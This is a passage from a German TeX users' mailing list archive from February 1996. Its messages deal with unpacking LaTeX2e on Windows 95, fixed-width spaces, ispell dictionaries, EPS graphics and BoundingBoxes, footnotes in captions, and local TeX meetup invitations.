pub/BremerTexStammtisch hinterlegt. Die Dateien sind mit gzip komprimiert. CU Martin -- Martin Schr"oder, MS@Dream.HB.North.DE \line{Final exhortation: G{\sc O} {\sc FORTH} now and create {\sl masterpieces of the publishing art!\/}} Donald E. Knuth, TeXbook.TeX line 18801f From owner-tex-d-l@VM.GMD.DE Sat Feb 3 01:32:48 1996 Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Matthias Eckermann Date: Sat, 3 Feb 1996 01:32:03 +0100 Subject: Re: Probleme beim Entpacken von LaTeX, Win95 On Fri, 2 Feb 1996, Frank Holzwarth wrote: > Liebe Kollegen und -Innen, > Problembeschreibung > ------------------- > W"ahrend INITEX unpack.ins kommt folgende Meldung: > > ! I can't write on file `./ansinew.def'. > > Die Datei ansinew.def ist nat"urlich problemlos anlegbar, Platz ist auf > der Platte auch gen"gend. > > Ich kann mich erinnern, irgendwo etwas "uber zu viele offene files unter > MS-DOS und eine Abhilfe gelesen zu haben, aber zusammen mit WIN95 wei"s > ich nicht wie das gehen soll. Ich habe davon auch gelesen und kann nur folgende Info weitergeben: Wider alle Ankuendigungen von MS (Mi*cros*ft) ist auch Win95 DOS-basiert, d.h. es ist moeglich, dass es irgendwo eine Config-Option gibt, in der sich das einstellen laesst: unter plain-DOS bzw. Win3.11 laesst sich der Fehler naemlich tatsaechlich so beseitigen (CONFIG.SYS: Files=40 o.ae.). > Wenn ich die ausgepackte Version von ftp.dante.de im Verzeichnis > macros/latex/unpacked verwende, klappt die Installation und Einrichtung > von LaTeX2e problemlos. Gibt es irgendeinen Grund, diese Dateien nicht zu verwenden? > In freudiger Erwartung kompetenter Hilfe > und den besten W"unschen f"ur ein "`rutschfreies"' Wochenende, Naja, gross geholfen habe ich ja nicht, ... Danke gleichfalls jedenfalls Matthias P.S.: Die DOS-Abhaengigkeit von Win95 laesst sich nachweisen, wenn man in einer versteckten Konfigurationsdatei ("win.95" o.ae., ich habe kein Windows) nur zwei Zeilen aendert: dann wird beim "shutdown" zwar Win95 beendet, aber man landet auf einem DOS-Prompt :-(( -- Matthias Eckermann, cand.phil., Munich/Germany | errare (email) M.Eckermann@lrz.uni-muenchen.de | humanum (WWW) http://www.lrz-muenchen.de/u/ud311aa/html/ | est From owner-tex-d-l@VM.GMD.DE Sat Feb 3 16:48:10 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Hartmut Frommert Date: Sat, 3 Feb 1996 16:57:40 +0100 Subject: Re: Probleme beim Entpacken von LaTeX Frank, > Ich habe Schwierigkeiten beim Entpacken der LaTeX2e<1995/12/01>-Version. > Ein neuer Rechner, ein neues Betriebssystem (Windows 95), ein neues > TeX (Y&Y Version 3.141) und eine neue LaTeX2e-Fassung ist etwas zu viel > auf einmal (au"serdem ist Freitag Nachmittag :-) Vielleicht haette man zur Verminderung der Probleme lieber auf das "neue Betriebssystem" M$-Dos95 und seinen grafischen Aufsatz verzichtet :> Sorry, couldn't resist .. aber unter Dos und OS/2 mit emTeX (incl. LaTeX2e) und unter diversen Unixen scheint's solche Probleme nicht zu geben. - Hartmut Frommert | Use native OS/2 programs , http://www.seds.org/~spider/ Maintainer of the SEDS Messier database, http://www.seds.org/messier/ ----------- Get astronomical and space gifs via anon ftp from: ------------- ftp.seds.org; spacelink.msfc.nasa.gov; explorer.arc.nasa.gov:/pub/SPACE/GIF| jplinfo.jpl.nasa.gov; crux.astr.ua.edu; garbo.uwasa.fi:/pc/gif*; ftp.bdl.fr| ftp.fce.vutbr.cz; ftp.univ-rennes1.fr; ftp.cnam.fr; wwa.com (CCD)| Updates | HST: marvel.stsci.edu:/pubinfo/gif; Clementine: clementine.s1.gov| welcome | ----- More in SEDS' Astro FTP List: ftp://ftp.seds.org/pub/faq/astroftp.txt The SL9 crash was just a heavenly celebration of Apollo 11 25th anniversary! From owner-tex-d-l@VM.GMD.DE Sun Feb 4 10:48:12 1996 Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Bernd Winter Date: Sun, 4 Feb 1996 09:52:26 +0100 Subject: Re: Probleme beim Entpacken von LaTeX, Win95 Matthias Eckermann writes: > P.S.: Die DOS-Abhaengigkeit von Win95 laesst sich nachweisen, wenn man in > einer versteckten Konfigurationsdatei ("win.95" o.ae., > ich habe kein Windows) nur zwei Zeilen aendert: dann wird beim "shutdown" > zwar Win95 beendet, aber man landet auf einem DOS-Prompt :-(( Die Dateien werden von Win 95 als AUTOEXEC.WOS und CONFIG.WOS angelegt! -- root@reido.in-berlin.de -- ..!fub!reido!root -- Bernd Winter Phone: +49 30 495 91 91 Data: +49 30 495 91 91 T,\,\,\,\ Fax: +49 30 495 91 91 BTX/Datex-J: 0304959191-0001 From owner-tex-d-l@VM.GMD.DE Tue Feb 6 05:41:50 1996 Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Peter Schneider Date: Sun, 4 Feb 1996 13:18:00 +0200 Subject: Probleme beim Entpacken von LaTeX Kommentar zu A30843@H in der Gruppe TeX-D-L Hallo Frank, FHH>W"ahrend INITEX unpack.ins kommt folgende Meldung: warum INI-TeX? Die INS-Dateien werden eigentlich "nur" mit LaTeX bearbeitet... Und TTschê ps From owner-tex-d-l@VM.GMD.DE Tue Feb 6 05:37:46 1996 Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Andreas Schrell Date: Mon, 5 Feb 1996 09:41:00 +0200 Subject: Stammtisch in Wuppertal Hallo! Ihr seid alle herzlich eingeladen zum n"achsten _____ _ _ _______ ______ | __ \ /\ | \ | ||__ __|| ____| | | | | / \ | \| | | | | |__ | | | | / /\ \ | . ` | | | | __| | |__| |/ ____ \ | |\ | | | | |____ |_____//_/ \_\|_| \_| |_| |______| _______ __ __ |__ __| \ \ / / | | ______\ V /_____ | || ____|> <|_____| | || |__ / . \ |_|| __|/_/ \_\ | |____ |______| _____ _ _ _ _ / ____|| | | | (_) | | | (___ | |_ __ _ _ __ ___ _ __ ___ | |_ _ ___ ___ | |__ \___ \ | __|/ _` || '_ ` _ \ | '_ ` _ \ | __|| |/ __| / __|| '_ \ ____) || |_| (_| || | | | | || | | | | || |_ | |\__ \| (__ | | | | |_____/ \__|\__,_||_| |_| |_||_| |_| |_| \__||_||___/ \___||_| |_| __ __ _ _ \ \ / / | | | | \ \ /\ / /_ _ _ __ _ __ ___ _ __ | |_ __ _ | | \ \/ \/ /| | | || '_ \ | '_ \ / _ \| '__|| __|/ _` || | \ /\ / | |_| || |_) || |_) || __/| | | |_| (_| || | \/ \/ \__,_|| .__/ | .__/ \___||_| \__|\__,_||_| | | | | |_| |_| Er findet statt am Donnerstag, dem 8. Februar 1996 um 19:30 Uhr Gastst"atte Yol Ernststra"se 45 (N"ahe Robert-Daum-Platz) 42117 Wuppertal Viele Gr"u"se von und weitere Infos bei ******************************************************************* * /\ * * * /__\ndreas * Fax 0202/506381 * * / Schrell * Erlenstra"se 1, 42283 Wuppertal, Tel. 0202/502354 * ******************************************************************* * Mails <14K ins MausNet: Andreas_Schrell@w2.maus.de * * Riesenmails an: Andreas.Schrell@FernUni-Hagen.de * ******************************************************************* From owner-tex-d-l@VM.GMD.DE Mon Feb 5 15:50:49 1996 Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 8bit Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Leo Arnt Broska Date: Mon, 5 Feb 1996 15:50:13 +0100 Subject: Feste Leerzeichen Hallo! Ich suche eine einfache M"oglichkeit f"ur feste Leerzeichen, die NICHT beim Randausgleich mitgedehnt werden (D.h. der Kurzbefehl "~" f"allt aus!). Der Befehl \kern 0.33em tut's; aber gibt es vielleicht einen fertigen Standardkurzbefehl daf"ur? Ciao, Leo. ----------------------------------------------| Leo Arnt Broska, Uni Heidelberg, Germany |------------------------------ ----------------------------------------------| Hey Gott, Alte, seit wann EMail-Adress: abroska@mathi.uni-heidelberg.de |------------------------------ ----------------------------------------------| verstehst Du mich als Mann? |------------------------------ From owner-tex-d-l@VM.GMD.DE Mon Feb 5 20:25:19 1996 Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Peter Biechele Date: Mon, 5 Feb 1996 19:28:49 +0100 Subject: ispell Dictionary ! -----BEGIN PGP SIGNED MESSAGE----- Ich weiss es ist schon oefters diskutiert worden, aber auch nach laengerer Suche mit Xarchie, Netscape und auf FTP.Dante.de hatte ich keinen Erfolg. Ich benutze Ispell 3.1.18 auf einem Linux PC und brauche ein deutsches Dictionary. Ich habe zwar eines gefunden, wenn ich jedoch buildhash aufrufe bekomme ich nur Fehler. Da ich aber kaum Zeit habe jetzt mich auch noch in Ispell einzuarbeiten und ich dringend fuer meine Arbeit einen Spell checker in Deutsch fuer meine TeX Text benoetige, meine Frage: Wer hat ein Deutsch Dictionary oder weiss wo ich es bekomme und wie ich es installiere ?????? (Ohne das ich wieder mal einen Kurs im benutzen und kompilieren von ispell machen muss) Kann man dann parallel auch english und amerikanisch verwenden ???? Danke fuer jeden Hinweis und jede Hilfe !! P. Biechele $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ Peter Biechele , Rennweg 3, 79106 Freiburg, Tel. (0761) 50 89 33 Uni Freiburg, Fakultaet fuer Physik, Abt. Prof. Honerkamp, Zi. 906 Tel. (0761) 203-5875, EMail: pebi@phyq1.physik.uni-freiburg.de -----BEGIN PGP SIGNATURE----- Version: 2.6.2i Comment: Processed by mkpgp, a Pine/PGP interface. iQCVAwUBMRZMVWxfdm+vpcCpAQFYawP9HIPWtyATewxREk5gI6LyB/nr9sQ6zk3M fM8jYEgrlpYvA+x+SwCPcahAkgPLfkt3OvlMiivsJPsCoziKfqgtf1Z/c9Ed0d0M F9LDoU4P+dnAe+9tEB6kQlQIqPgL+sVkoXTSY+XrN5YIRMjfcMARyvNUXTQtGKj3 g2qXDIt/5NM= =e/UE -----END PGP SIGNATURE----- From owner-tex-d-l@VM.GMD.DE Tue Feb 6 08:00:23 1996 Mime-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=ISO-8859-1 Content-Transfer-Encoding: 8BIT Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Frank Holzwarth Date: Tue, 6 Feb 1996 07:58:29 +0002 Subject: Re: Probleme beim Entpacken von LaTeX Peter Schneider schrieb auf meine Frage: > Kommentar zu A30843@H in der Gruppe TeX-D-L > > Hallo Frank, > > FHH>W"ahrend INITEX unpack.ins kommt folgende Meldung: > warum INI-TeX? > > Die INS-Dateien werden eigentlich "nur" mit LaTeX bearbeitet... > > Und TTschª > ps Hallo Peter, Dazu ein kurzes St"uck aus der Datei install.txt des LaTeX-Basis-Paketes: UNPACKING THE DISTRIBUTION ========================== The archive files are unpacked by running iniTeX on the file unpack.ins. Eigentlich halte ich mich immer an solche Anweisungen, sie ersparen einem in den allermeisten F"allen viel M"uhe und "Arger. Die "`normalen"' .ins-Dateien werden schon mit LaTeX bearbeitet. Aber man mu"s ja erst einmal ein latex.ltx haben, um nachher damit arbeiten zu k"onnen. Es liegt aber nicht am INITeX sondern tats"achlich an der Beschr"ankung der Zahl der gleichzeitig ge"offneten Dateien. Allen, die mir freundlicherweise geholfen und Tips gegeben haben, hier endlich meinen herzlichen Dank. Allzeit Happy TeXing, Frank Holzwarth e-mail Internet: HOLZWARTH@ALPHA.NTP.SPRINGER.DE Springer-Verlag Abteilung Neue Techniken/Produktentwicklung Tiergartenstrasse 17 69121 Heidelberg From owner-tex-d-l@VM.GMD.DE Tue Feb 6 09:03:43 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Bruno Woehrer Date: Tue, 6 Feb 1996 09:02:53 MEZ Subject: Re: Fehler in realcalc > > Hallo TeXperten, > > mit gro"ser Freude habe ich festgestellt, da"s realcalc genau das Paket ist, > das mein Problem l"ost. Leider habe ich einen ernsthaften Fehler entdeckt, > der im folgenden Text augenscheinlich wird: > ......... > > Ich denke, da"s derjenige, der den Fehler findet, der TeX-Gemeinde > einen sch"onen Dienst erweisen kann, weil das Paket ansonsten > wirklich sehr praktisch ist. > > Mit TeXnischen Gr"u"sen > Andreas > Es gibt einen Nachfolger fðr realcalc, n¢mlich ..... /macros/latex/contrib/other/fp/* Ich bin einmal zuf¢llig darðber gesto±en, habe es aber nicht ausprobiert. Vielleicht ist dort der Fehler beseitigt, oder Du kannst den Autor erreichen. Schêne Grð±e aus Wien Bruno -- ------------------------------------------------------------------------------- Bruno W"ohrer Tel.: +43 1 58801 3815 Inst.f.Photogrammetrie u.Fernerkundung (E122) FAX: +43 1 5056268 Technische Universit"at Wien bwoehrer@fbgeo1.tuwien.ac.at A-1040 Wien, Gusshausstrasse 27-29 http://www.ipf.tuwien.ac.at ------------------------------------------------------------------------------- From owner-tex-d-l@VM.GMD.DE Wed Feb 7 02:02:54 1996 Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Markus Kohm Date: Tue, 6 Feb 1996 10:14:00 GMT Subject: Feste Leerzeichen >Ich suche eine einfache M"oglichkeit f"ur feste Leerzeichen, die NICHT >beim Randausgleich mitgedehnt werden (D.h. der Kurzbefehl "~" f"allt >aus!). Alles in eine \mbox packen: \mbox{Festes~Leerzeichen} (oder auch \mbox{Festes Leerzeichen}). Gruss Markus From owner-tex-d-l@VM.GMD.DE Tue Feb 6 15:22:10 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Andreas Tille Date: Tue, 6 Feb 1996 15:17:20 +0100 Subject: Fehler in realcalc > Es gibt einen Nachfolger f"ur realcalc, n"amlich > > ..... /macros/latex/contrib/other/fp/* > > Ich bin einmal zuf"allig dar"uber gesto"sen, habe es aber nicht ausprobiert. > Vielleicht ist dort der Fehler beseitigt, oder Du kannst den Autor erreichen. Ja, der Fehler ist tats"achlich behoben und das Paket enorm erweitert (hinsichlich der Rechengenauigkeit und der Funktionalit"at). Ein Wermutstropfen ist vielleicht, da"s es auch deutlich langsamer ist (was schon bei ca. 10 Additionen pro Seite f"ur den Nutzer merkbar wird). Aber lieber richtig und daf"ur langsamer. Vielleicht k"onnte der Autor auch einmal "uber ein "single precision"-Paket nachdenken, denn meiner Meinung nach wird der gr"o"sere Rechenaufwand durch die hohe Genauigkeit verursacht. Der Algorithmus ist doch im wesentlichen der gleiche, ob viel oder wenig Ziffern durchgeackert werden. Ansonsten kann ich dieses wundersch"one Paket nur jedem ans Herz legen, der mal schnell eine Rechnung auf's Papier legen will, ohne einen Taschenrechner zur Hand zu haben ;-). Mit TeXnischen Gr"u"sen Andreas From owner-tex-d-l@VM.GMD.DE Wed Feb 7 01:59:36 1996 Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Nils Bokermann Date: Tue, 6 Feb 1996 16:56:44 +0100 Subject: Re: ispell Dictionary ! > Ich weiss es ist schon oefters diskutiert worden, aber auch nach laengerer > Suche mit Xarchie, Netscape und auf FTP.Dante.de hatte ich keinen Erfolg. > > Ich benutze Ispell 3.1.18 auf einem Linux PC und brauche ein deutsches > Dictionary. Ich habe zwar eines gefunden, wenn ich jedoch buildhash > aufrufe bekomme ich nur Fehler. Da ich aber kaum Zeit habe jetzt mich > auch noch in Ispell einzuarbeiten und ich dringend fuer meine Arbeit einen > Spell checker in Deutsch fuer meine TeX Text benoetige, meine Frage: > > Wer hat ein Deutsch Dictionary oder weiss wo ich es bekomme und wie ich > es installiere ?????? (Ohne das ich wieder mal einen Kurs im benutzen und > kompilieren von ispell machen muss) Kann man dann parallel auch english > und amerikanisch verwenden ???? Hallo! Also, das gleiche Problem hatte ich vor einiger Zeit auch. Ich habe mir Ispell-Sources und hk-deutsch (high quality) besorgt, ispell compiliert (kein Problem, einfach make) und dann im subdirectory ..../german das Makefile angepasst und mittels make, buildhash aufgerufen (soweit ich mich da erinnern kann. Das war eigentlich alles ganz easy. Version: 3.1.18 01/14/95 Tsch"u"s, Nils -- Nils Bokermann Johanneswerkstr. 90 Phone: +49 521 891279 33613 Bielefeld FAX: +49 521 550116 Germany nilsb@reality.owl.de Die Natur braucht Freunde -- Naturfreunde _______________________________________________________________________________ From owner-tex-d-l@VM.GMD.DE Wed Feb 7 12:32:24 1996 Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 8bit Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Leo Arnt Broska Date: Wed, 7 Feb 1996 12:29:38 +0100 Subject: Re: Feste Leerzeichen > > Leo Arnt Broska schreibt: > > > Der Befehl \kern 0.33em tut's; aber gibt es vielleicht einen fertigen > > Standardkurzbefehl daf"ur? > > Was h"alt Dich davon ab, `~' (in einer Gruppe?) geeignet umzudefinieren? > > Das Mass `0.33em' ist "ubrigens hochgradig willk"urlich. Wie w"are es > mit \fontdimen2, das ist der `kanonische' Wortzwischenraum f"ur den > aktuellen Zeichensatz, und wenn der Typograph seine Hausaufgaben gemacht > hat, sollte es ganz sch"on ausschauen. Also > > \newenvironment{fixedtilde}{\def~{\kern\fontdimen2\relax}}{} > Wenn ich \kern\fontdimen2\relax benutze, gibt mir TeX einen Fehler raus: ! Missing font identifier. Was kann ich tun? Wie kann ich TeX sagen, das es die fontdimen2 des aktuelllen Zeichensatzes nehmen soll? Ciao, Leo. ----------------------------------------------| Leo Arnt Broska, Uni Heidelberg, Germany |------------------------------ ----------------------------------------------| Hey Gott, Alte, seit wann EMail-Adress: abroska@mathi.uni-heidelberg.de |------------------------------ ----------------------------------------------| verstehst Du mich als Mann? |------------------------------ From owner-tex-d-l@VM.GMD.DE Wed Feb 7 14:32:52 1996 Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Anselm Lingnau Date: Wed, 7 Feb 1996 14:32:00 +0100 Subject: Re: Feste Leerzeichen Leo Arnt Broska schreibt: > Wenn ich \kern\fontdimen2\relax benutze, gibt mir TeX einen Fehler raus: Oh ja, sorry, es muss \kern\fontdimen2\the\font heissen. Hier ist ein Testdokument: \documentclass{article} \newenvironment{fixedtilde}{\def~{\kern\fontdimen2\the\font}}{} \begin{document} \makebox[5cm][s]{Ein kleiner~Test} \begin{fixedtilde} \makebox[5cm][s]{Ein kleiner~Test} \end{fixedtilde} \end{document} Anselm -- Anselm Lingnau ......................... lingnau@tm.informatik.uni-frankfurt.de When I am working on a problem, I never think about beauty. I think only how to solve the problem. But when I have finished, if the solution is not beautiful, I know it is wrong. --- R. Buckminster Fuller From owner-tex-d-l@VM.GMD.DE Wed Feb 7 19:54:05 1996 Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 8bit Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Leo Arnt Broska Date: Wed, 7 Feb 1996 19:53:24 +0100 Subject: Nochmal Zwischentitel in Literaturverzeichnissen Hallo! Wie kann ich innerhalb eines Literaturverzeichnises Unter"Uberschriften setzen? \subsection funktioniert nicht! Bei meiner derzeitige Variante definier ich mir einen Pseudo-Section-befehl: \newcommand{\bibsection}[1]{\item[]\subsection*{#1}} Das ist aber auch nicht das Gelbe vom Ei, weil der Zwischentitel auf Listen-Einzug einger"uckt wird. Nicht sehr sch"on. :-( Wei"s eine oder einer Rat? Ciao, Leo. ----------------------------------------------| Leo Arnt Broska, Uni Heidelberg, Germany |------------------------------ ----------------------------------------------| Hey Gott, Alte, seit wann EMail-Adress: abroska@mathi.uni-heidelberg.de |------------------------------ ----------------------------------------------| verstehst Du mich als Mann? |------------------------------ From owner-tex-d-l@VM.GMD.DE Sat Feb 10 05:37:38 1996 Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Peter Schneider Date: Wed, 7 Feb 1996 21:24:00 +0200 Subject: Re: Probleme beim Entpacken von LaTeX Kommentar zu A52581@H in der Gruppe TeX-D-L Hallo Frank, FHH>The archive files are unpacked by running iniTeX on the file FHH>unpack.ins. Das hatte ich glatt ðbersehen!! Allerdings habe ich mein 2e anders installiert: Auf einer anderen Partition alles ausgepackt, die 2.09-Input-Ordner umbenannt und den ganzen 2e-Kram in die (meiner Meinung nach) richtigen Ordner verteilt, INITEX auf LATEX.LTX losgelassen, und das war's! Und TTschê ps From owner-tex-d-l@VM.GMD.DE Thu Feb 8 18:02:17 1996 Mime-Version: 1.0 Content-Transfer-Encoding: 7bit Content-Type: text/plain; charset=us-ascii Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Johannes Heinecke Date: Thu, 8 Feb 1996 17:56:27 0100 Subject: Postscript Erkl"arung gesucht Hallo, gibt es irgendwo im WWW eine Erl"auterung des Postscript Formats (oder auch als .ps-File) Ich bin dabei, mir auch das Postscript-Reference Manual zu besorgen. Aber das dauert noch, und ich brauch's dringend. Vielen Dank f"ur Hinweise Johannes -- Johannes Heinecke Computerlinguistik Humboldt Universit"at zu Berlin http://www.compling.hu-berlin.de/~johannes From owner-tex-d-l@VM.GMD.DE Fri Feb 9 10:46:36 1996 Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Ralf Matthies Date: Fri, 9 Feb 1996 10:39:26 +0100 Subject: Re: Postscript Erkl"arung gesucht On Thu, 8 Feb 1996, Johannes Heinecke wrote: > Date: Thu, 8 Feb 1996 17:56:27 0100 > From: Johannes Heinecke > To: Ralf Matthies > Subject: Postscript Erkl"arung gesucht > > Hallo, > > gibt es irgendwo im WWW eine Erl"auterung des Postscript Formats > (oder auch als .ps-File) > Ich bin dabei, mir auch das Postscript-Reference Manual zu besorgen. > Aber das dauert noch, und ich brauch's dringend. Hi, schau auch mal unter folgendem URL nach: http://www.unizh.ch/ps/PScorner.html (Postscript-Corner der Uni Zuerich) So short, (R)alf Matthies Fachhochschule Nordostniedersachsen, Fachbereich Wirtschaft, Lueneburg From owner-tex-d-l@VM.GMD.DE Fri Feb 9 08:15:12 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Rolf Niepraschk Date: Fri, 9 Feb 1996 08:15:27 EST Subject: Re: Postscript Erkl"arung gesucht Hallo Johannes, > gibt es irgendwo im WWW eine Erl"auterung des Postscript Formats > (oder auch als .ps-File) > Ich bin dabei, mir auch das Postscript-Reference Manual zu besorgen. > Aber das dauert noch, und ich brauch's dringend. > > Vielen Dank f"ur Hinweise > Johannes > -- eine Datei, die das gewuenschte enthaelt, ist die folgende: ftp://unix.hensa.ac.uk:/pub/misc/ukc.reports/comp.sci/reports/11-92.ps.Z Ich hoffe, geholfen zu haben... ...Rolf .----------------------------------------------------. | Rolf Niepraschk | | Physikalisch-Technische Bundesanstalt | | Abbestr. 2-12 | | D-10587 Berlin, Germany | | Tel.: (030) 3481 316, Fax.: (030) 3481 490 | | Bitnet: NIEPRASCHK@PTBIB | | Internet: NIEPRASCHK@PTB.DE | `----------------------------------------------------' From owner-tex-d-l@VM.GMD.DE Fri Feb 9 17:26:54 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: "Christian Kahl; Steinfurt; Deutschland" Date: Fri, 9 Feb 1996 17:26:54 -1 Subject: PostScript / Grafiken einbinden Hallo Leute, Beim schreiben mit LaTeX2e stehe ich zur Zeit vor dem Problem, dass ich Grafiken/Bilder nicht in meine Dokumente eingebunden bekomme. Folgendermassen sieht mein erfolgreichster Versuch aus: \documentclass[germanb,12pt]{article} \usepackage[pc850]{inputenc} \usepackage{babel} \begin{document} \subsection{TEXT1} TEXT1 TEXT1 TEXT1 TEXT1 TEXT1 TEXT1 TEXT1 TEXT1 TEXT1 TEXT1 TEXT1 TEXT1 \begin{figure} \begin{center} \epsfxsize=14cm\epsfysize=9cm\epsfbox{testbild.eps} \end{center} \end{figure} \subsection{TEXT2} TEXT2 TEXT2 TEXT2 TEXT2 TEXT2 TEXT2 TEXT2 TEXT2 TEXT2 TEXT2 TEXT2 TEXT2 \end{document} Leider wird aber der Text nach dem Bild nicht mehr verarbeitet bzw. ist nicht mit Ghostscript auf der Seit auszumachen! Was mache ich hierbei falsch? Liegt's vieleicht an der Groessenangabe fuer die Grafik? Muss ich diese vieleicht in Form einer Boundary-Box z.B. so mit angeben: \epsfbox[100 100 500 500]{testbild.eps} ??? UEber Tips wie man am schnellsten und besten Grafiken /Bilder (dies sind insbesondere gescannte Grafiken, oder Diagramme aus einer Tabellenkalkulation die ich aus der Zwischenablage als Bitmap abspeichere und nach eps konvertiere) in ein LaTeX-Dokument einfuegt, wuerde ich mich sehr freuen! Vieleicht kann mir ja auch jemand ein funktionierendes Beispiel schicken. Christian From owner-tex-d-l@VM.GMD.DE Fri Feb 9 18:55:36 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: "Harald H.-J. Bongartz" Date: Fri, 9 Feb 1996 18:55:59 +0100 Subject: Re: PostScript / Grafiken einbinden Hallo Christian, koennte es sein, dass Deine .eps-Dateien nicht so ganz sauber sind? Hast Du es mit verschiedenen PostScript-Dateien probiert? Ich kann mir vorstellen, dass evt. Befehle enthalten sind, die in Encapsulated PostScript nicht erlaubt sind, oder vielleicht auch ein fehlendes grestore schuld hat... (Ach ja, ich gehe davon aus, dass in Deiner TeX-Datei auch irgendwo ein \usepackage{epsfig} steht.) Womit erzeugst Du denn die eps-Dateien? Auf welchem Rechner? Ich nehme an, Du arbeitest auf einem PC (wg. [cp850]{inputenc}). Ich habe bisher immer direkt aus Windows-Applikationen ueber den PostScript-Treiber in Datei gedruckt. Das ergibt zumindest eine formal richtige eps-Datei, nur dass die BoundingBox fast immer die gesamte Druckseite umfasst und noch von Hand nachbearbeitet werden muss :-( . >Liegt's vieleicht an der Groessenangabe fuer >die Grafik? Muss ich diese vieleicht in Form > einer Boundary-Box z.B. so mit angeben: >\epsfbox[100 100 500 500]{testbild.eps} ??? Die BoundingBox gibt nicht an, wie gross die Grafik im TeX-Dokument ist (d.h. wieviel Platz dafuer gelassen wird), sondern welcher Auschnitt aus dem PostScript-Koordinatensystem dargestellt wird (d.h. welcher Teil Deiner Grafik zu sehen sein wird). Sie muss also nur dann angegeben werden, wenn die BoundingBox-Info der eps-Datei nicht korrekt ist oder fehlt oder wenn nicht die gesamte Grafik dargestellt werden soll (was wahrscheinlich seltener vorkommen wird). Ciao, Harald -- * Harald H.-J. Bongartz * * Schlechte Laune ist der Schnupfen des Gemuets; laestig und ansteckend. * * - Peter Horton * From owner-tex-d-l@VM.GMD.DE Fri Feb 9 19:02:03 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: "Harald H.-J. Bongartz" Date: Fri, 9 Feb 1996 19:02:20 +0100 Subject: Re: PostScript / Grafiken einbinden Kleiner Nachtrag noch: Das Nachbearbeiten der BoundingBox unter Windows laesst sich halbwegs komfortabel mit GhostView und der Funktion "PS to EPS" machen; hier muss man nur viermal mit der Maus klicken und die so erzeugte eps-Datei abspeichern. (Trotzdem wuesste ich gerne, ob es eine Methode gibt, Excel bzw. den Win PostScript-Treiber zu ueberreden, eine korrekte eps-Datei zu erzeugen :-( ). Ciao, Harald -- * Harald H.-J. Bongartz * * Schlechte Laune ist der Schnupfen des Gemuets; laestig und ansteckend. * * - Peter Horton * From owner-tex-d-l@VM.GMD.DE Sun Feb 11 22:02:48 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Martin Schroeder Date: Sun, 11 Feb 1996 21:32:29 +0100 Subject: TeX-Stammtisch in Bremen im M"arz 1996 Liebe Freunde, hiermit lade ich euch herzlich zum n"achsten Bremer TeX-Stammtisch am 5. M"arz 1996 um 18:00 in der Universit"at Bremen, MZH, 4. Ebene, gegen"uber den Fahrst"uhlen ein. Kontakt: Martin Schr"oder, MS@Dream.HB.North.DE, Tel. 0421/628813 Die Einladung habe sind als .tex, .dvi, .lj und .ps-Datei auf dem ftp-Server ftp.hb.north.de im Verzeichnis pub/BremerTexStammtisch hinterlegt. Die Dateien sind mit gzip komprimiert. CU Martin -- Martin Schr"oder, MS@Dream.HB.North.DE From owner-tex-d-l@VM.GMD.DE Mon Feb 12 09:22:29 1996 Content-Type: text Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Stefan Blochwitz Date: Mon, 12 Feb 1996 09:20:15 +0100 Subject: Fussnoten in Floats Hallo, versammelte TeX-Weise, ich stehe vor dem Problem, in der Unterschrift in einer Float-Umgebung eine Fussnote unterzubringen. Der Versuch mit \caption{ ...\footnote{...} ...} fuehrt dazu, dass in der Bildunterschrift die Fussnotenmarkierung erzeugt und der Fussnotenzaehler weitergesetzt wird; jedoch geht der eigentliche Text der Fussnote verloren. Das ist natuerlich unschoen. Ich kann mir nun vorstellen, dass es recht schwierig fuer TeX ist, bei einer Floatumgebung den Ort der Fuss- note festzustellen, aber gibt es eventuell doch noch einbe Moeglichgkeit, TeX und seinen Sohn, LaTeX, zu ueberreden, nicht so still und leise das Handtuch zu werfen? Vielen Dank, Stefan Blochwitz. From owner-tex-d-l@VM.GMD.DE Mon Feb 12 09:30:08 1996 